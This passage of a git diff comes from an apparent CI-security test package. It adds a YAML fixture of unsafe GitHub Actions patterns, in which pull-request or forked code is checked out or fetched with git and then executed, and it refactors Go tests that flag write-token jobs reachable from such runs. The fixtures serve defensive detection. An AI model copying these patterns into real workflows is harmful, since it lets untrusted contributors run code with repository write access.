actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: ${{ inputs.lock-file }}-${{ steps.inputs.outputs.version }} + path: release-evidence/${{ inputs.lock-file }} + if-no-files-found: error diff --git a/internal/ciguard/testdata/unattributed-execution.yml b/internal/ciguard/testdata/unattributed-execution.yml new file mode 100644 index 00000000..0e804b71 --- /dev/null +++ b/internal/ciguard/testdata/unattributed-execution.yml @@ -0,0 +1,41 @@ +# Each case is reachable with a write credential and has its digest re-recorded. +- name: download-artifact and run + steps: + - uses: actions/checkout@v7 + with: {ref: main} + - uses: actions/download-artifact@v8 + with: {name: coverage-profile} + - run: bash ./coverage-profile/render.sh +- name: forked checkout action + steps: + - uses: someone/checkout-fork@v4 + with: {ref: '${{ github.head_ref }}'} + - run: bash ./render.sh +- name: checkout of another repository + steps: + - uses: actions/checkout@v7 + with: {ref: main, repository: '${{ github.event.pull_request.head.repo.full_name }}'} + - run: bash ./render.sh +- name: nested checkout survives a main checkout + steps: + - uses: actions/checkout@v7 + with: {ref: '${{ github.head_ref }}', path: untrusted} + - uses: actions/checkout@v7 + with: {ref: main} + - run: bash ./untrusted/x.sh +- name: git reset hard + run: git fetch origin refs/pull/1/head && git reset --hard FETCH_HEAD +- name: git config option before checkout + run: git -c advice.detachedHead=false checkout FETCH_HEAD +- name: git merge + run: git merge --no-edit FETCH_HEAD +- name: git pull + run: git pull origin refs/pull/1/head +- name: git worktree add + run: git worktree add ../w FETCH_HEAD && bash ../w/render.sh +- name: git line continuation + run: | + git \ + checkout FETCH_HEAD +- name: git clone + run: git clone --branch "${{ github.head_ref }}" https://github.com/contributor/core pr && bash ./pr/render.sh diff --git a/internal/ciguard/untrusted_code_test.go b/internal/ciguard/untrusted_code_test.go index 38076def..29aa3e45 100644 --- a/internal/ciguard/untrusted_code_test.go +++ b/internal/ciguard/untrusted_code_test.go @@ -177,30 +177,11 @@ func jobIDs(wf permissionedWorkflow) []string { return ids } -// cannotRunOnAPullRequest reports whether gate is PROVABLY false when the event -// is a pull request. -// -// This asked whether the condition contained two clauses, which `... || true` -// and `!(... && ...)` both satisfy while running on a pull request. It is now -// decided by evaluating the expression -- see expression_test.go -- and an -// unknown result is not an answer: a condition that turns on something no -// scenario fixes has established nothing. -func cannotRunOnAPullRequest(t *testing.T, gate string) bool { - t.Helper() - - // Both ways a pull request's code runs: the pull_request event, and a merge - // queue building the candidate commits before they are on the default - // branch. - for _, hostile := range []scenario{pullRequest, mergeGroup} { - reached, err := canRunUnder(gate, hostile) - require.NoError(t, err, - "a condition this package cannot parse is one it cannot judge: %q", gate) - if reached != triFalse { - return false - } - } - return true -} +// There was a `cannotRunOnAPullRequest` here with no callers. It applied the +// two pull-request scenarios to every workflow, which is the wrong question for +// a `workflow_run` one, and `provablyUnreachable` over the scenarios +// `hostileScenariosFor` derives from the workflow's own triggers asks the right +// one for all of them. // A `pull_request` run checks out the pull request's head: for the whole job, // every step after the checkout is running code the author of that branch @@ -226,7 +207,7 @@ func TestNoJobRunsPullRequestCodeWithAWriteToken(t *testing.T) { // those meant a dispatch job with `contents: write`, no custom secret // and a bare checkout was checked by nothing: the dispatch guard skips // jobs without a custom secret, and this one skipped the workflow. - hostile, _ := hostileScenariosFor(wf.On) + hostile := hostileScenariosFor(wf.On) require.NotEmpty(t, hostile, "%s yielded no hostile scenario", filepath.Base(path)) checked++ @@ -237,16 +218,10 @@ func TestNoJobRunsPullRequestCodeWithAWriteToken(t *testing.T) { continue } // The built-in write token is a credential too, so it answers the - // same question as a secret: provably unreachable, or proves what - // it executes. - // The complete rule, and the only one: either no hostile situation - // this workflow's triggers admit can reach the job, or the job - // proves what it executes. The previous fall-through also asked - // `cannotRunOnAPullRequest`, which applies the pull-request - // scenarios to every workflow -- the wrong question for a - // workflow_run one, whose own scenarios are stricter. - // The same one decision the credential guard uses: the built-in - // write token is a credential too. + // same question as a secret and through the same decision: either + // no hostile situation this workflow's triggers admit can reach the + // job, or the job establishes which tree it executes -- and then, + // separately, its recorded shape still matches. accepted, missing := credentialJobIsAccepted(t, isolated[path], id) require.True(t, accepted, "%s: job %q holds %s, and %s.\n`permissions:` cannot be narrowed per "+ @@ -286,7 +261,7 @@ func TestNoWorkflowRunJobHoldsAWriteTokenReachableFromAnUntrustedRun(t *testing. if !writeCapable(grant) { continue } - for _, hostile := range []scenario{workflowRunFromAPullRequest, workflowRunFromAForkPush} { + for _, hostile := range scenariosForTrigger("workflow_run") { reached, err := canRunUnder(job.If, hostile) require.NoError(t, err, "%s: job %q has a condition this package cannot judge: %q", diff --git a/internal/ciguard/version_tag_selection_test.go b/internal/ciguard/version_tag_selection_test.go index eea8f35f..a5bd14b3 100644 --- a/internal/ciguard/version_tag_selection_test.go +++ b/internal/ciguard/version_tag_selection_test.go @@ -9,7 +9,6 @@ import ( "testing" "github.com/stretchr/testify/require" - "gopkg.in/yaml.v3" "github.com/codefly-dev/core/internal/testgit" ) @@ -41,35 +40,11 @@ const ( func selectionScript(t *testing.T) (script, defaultBranch string) { t.Helper() - path := filepath.Join(repoRoot(t), ".github", "workflows", versionTagWorkflow) - raw, err := os.ReadFile(path) - require.NoError(t, err) - - var wf permissionedWorkflow - require.NoError(t, yaml.Unmarshal(raw, &wf)) - - for _, id := range jobIDs(wf) { - for _, step := range wf.Jobs[id].Steps { - if step.Name == selectionStepName { - require.NotEmpty(t, step.Run, - "%s: step %q carries no `run:`", versionTagWorkflow, selectionStepName) - branch := step.Env["DEFAULT_BRANCH"] - require.NotEmpty(t, branch, - "%s: step %q sets no DEFAULT_BRANCH, so neither the script nor "+ - "this test can name the branch a commit has to be on", - versionTagWorkflow, selectionStepName) - require.NotContains(t, branch, "${{", - "%s: step %q takes DEFAULT_BRANCH from an expression (%q). A "+ - "payload field that came back empty would make every release "+ - "refuse, silently; name the branch literally.", - versionTagWorkflow, selectionStepName, branch) - return step.Run, branch - } - } - } - t.Fatalf("%s has no step named %q, so the commit-selection script this test "+ - "exercises is not the one CI runs", versionTagWorkflow, selectionStepName) - return "", "" + step := executionTestStep(t) + branch := step.Env["DEFAULT_BRANCH"] + require.NotEmpty(t, branch) + require.NotContains(t, branch, "${{") + return step.Run, branch } // selectionFixture is a repository shaped like the one the tag job checks out: